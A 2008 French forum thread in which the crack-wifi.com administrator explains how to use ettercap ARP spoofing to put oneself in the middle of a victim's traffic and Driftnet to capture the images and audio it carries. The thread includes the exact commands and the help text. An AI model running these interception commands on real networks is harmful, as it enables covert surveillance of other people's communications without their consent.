Crack-wifi.com FORUM

LE FORUM DU SITE

Wifi, Backtrack, crack WEP et WPA...

Vous n'êtes pas identifié(e).  

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

#1 11-10-2008 16:59:33

M1ck3y
Administrateur
Lieu : Lost in the darkness
Inscription : 14-02-2008
Messages : 6 363

Récupérer les images transitant sur un réseau avec Driftnet

Inspiré par EtherPEG, Driftnet est un programme qui permet de capturer et d'enregistrer les images qui transitent en TCP sur un réseau. Ce petit programme sympathique est bien évidemment inclu dans Backtrack, et son utilisation est très simple. Voici un petit exemple de récupération d'images avec driftnet:

Ici, je vais tout d'abord me placer en man in the middle avec ettercap-ng, pour contourner le switch du réseau qui empeche de sniffer les données destinées à la cible, 192.168.1.45:

ettercap -T -M arp:remote /ip-victime/ /ip-routeur/

1-ettercap-ng.png
Image taille réelle ici.

Maintenant que l'attaque mitm est en route, les paquets envoyés et reçus par 192.168.1.45 transitent par la carte réseau eth0 de Backtrack. Je peux lancer Driftnet avec la commande

driftnet -i interface

2-driftnet.png
Image taille réelle ici.

Et Driftnet nous affiche les images:

3-driftnet-capture-images.png
Image taille réelle ici.

On peut voir dans cet exemple que je me suis connecté à google, puis à crack-wifi.com, et puis j'ai effectué une recherche d'images sur google avec le terme "wifi", on voit donc plusieurs images concernant le wifi. Sur un réseau non switché, Driftnet pourra récupérer toutes les images sans recourir à une attaque mitm.

La commande

driftnet --help

nous renseigne sur les différentes options proposées par Driftnet:

Options:

  -h               Display this help message.
  -v               Verbose operation.
  -i interface     Select the interface on which to listen (default: all
                   interfaces).
  -p               Do not put the listening interface into promiscuous mode.
  -a               Adjunct mode: do not display images on screen, but save
                   them to a temporary directory and announce their names on
                   standard output.
  -m number        Maximum number of images to keep in temporary directory
                   in adjunct mode.
  -d directory     Use the named temporary directory.
  -x prefix        Prefix to use when saving images.
  -s               Attempt to extract streamed audio data from the network,
                   in addition to images. At present this supports MPEG data
                   only.
  -S               Extract streamed audio but not images.
  -M command       Use the given command to play MPEG audio data extracted
                   with the -s option; this should process MPEG frames
                   supplied on standard input. Default: `mpg123 -'.

On voit qu'il est possible d'utiliser le mode verbose qui donnera des informations, de sauvegarder les images dans un dossier de son choix, et meme de tenter d'extraire le flux audio MPEG transitant sur le réseau afin de pouvoir l'écouter par la suite. En cliquant sur une image, Driftnet la sauvegarde dans le dossier courant.

Ce programme peut présenter un intéret pour les administrateurs réseau qui souhaitent garder un oeil sur les activités des utilisateurs, on peut également l'utiliser sur son réseau local pour savoir ce qu'il s'y passe... Avec l'accord des personnes "surveillées" bien entendu wink

Hors Ligne

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

#2 11-10-2008 21:56:30

Grand Hibou
Membre d'honneur
Inscription : 08-06-2008
Messages : 1 280

Re : Récupérer les images transitant sur un réseau avec Driftnet

yep, celui là je l'avais  déjà testé, ça marche!  smile


Un virus est un programme nocif.
Il est petit, rapide, prend peu de place en mémoire et sait se faire discret.

Windows n'est donc pas un virus, c'est un bug!

Hors Ligne

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

Sujets similaires

Discussion Réponses Vues Dernier message
2 169 04-12-2016 21:54:52 par GreyBird
0 194 02-12-2016 21:32:19 par tit64
4 337 20-11-2016 14:31:08 par richie
Épinglée :
21 14732 20-11-2016 12:53:07 par richie
Routeur avec antenne amovible par le flibustier
0 255 07-11-2016 19:12:24 par le flibustier

Pied de page des forums


Le coin des bonnes affaires, achats informatiques:


|   Alfa 1000 mW AWUS036H   |    Linksys WRT54GL   |    Misco, informatique   |   
 |    Ebay   |    PC portables   |    PC Gamers & Tuning   |    Cles USB   |   
|   Disques durs externes 2 To   |   
|   Wifi-highpower.com   |   


Server Stats - [ Generated in 0.034 seconds ]   Forum Stat - [ Most users ever online on the forum was : 150 on 20-09-2009 17:06:59 ]